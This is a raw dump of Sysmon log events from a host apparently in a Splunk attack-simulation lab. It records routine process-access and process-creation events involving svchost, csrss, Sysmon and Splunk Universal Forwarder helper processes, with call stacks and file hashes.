09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006133Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006132Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006131Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006130Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006129Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006128Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006127Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006126Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2A84-5F80-5F01-000000007F01}4212C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006125Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.693{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A84-5F80-5F01-000000007F01}4212C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006124Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.694{A5F018FF-2A84-5F80-5F01-000000007F01}4212C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006123Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A84-5F80-5E01-000000007F01}3924C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006122Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006121Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006120Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006119Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006118Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006117Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006116Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006115Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006114Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006113Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2A84-5F80-5E01-000000007F01}3924C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006112Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A84-5F80-5E01-000000007F01}3924C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006111Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:52.022{A5F018FF-2A84-5F80-5E01-000000007F01}3924C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006150Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A85-5F80-6001-000000007F01}4632C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006149Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:16:53.225{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006148Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 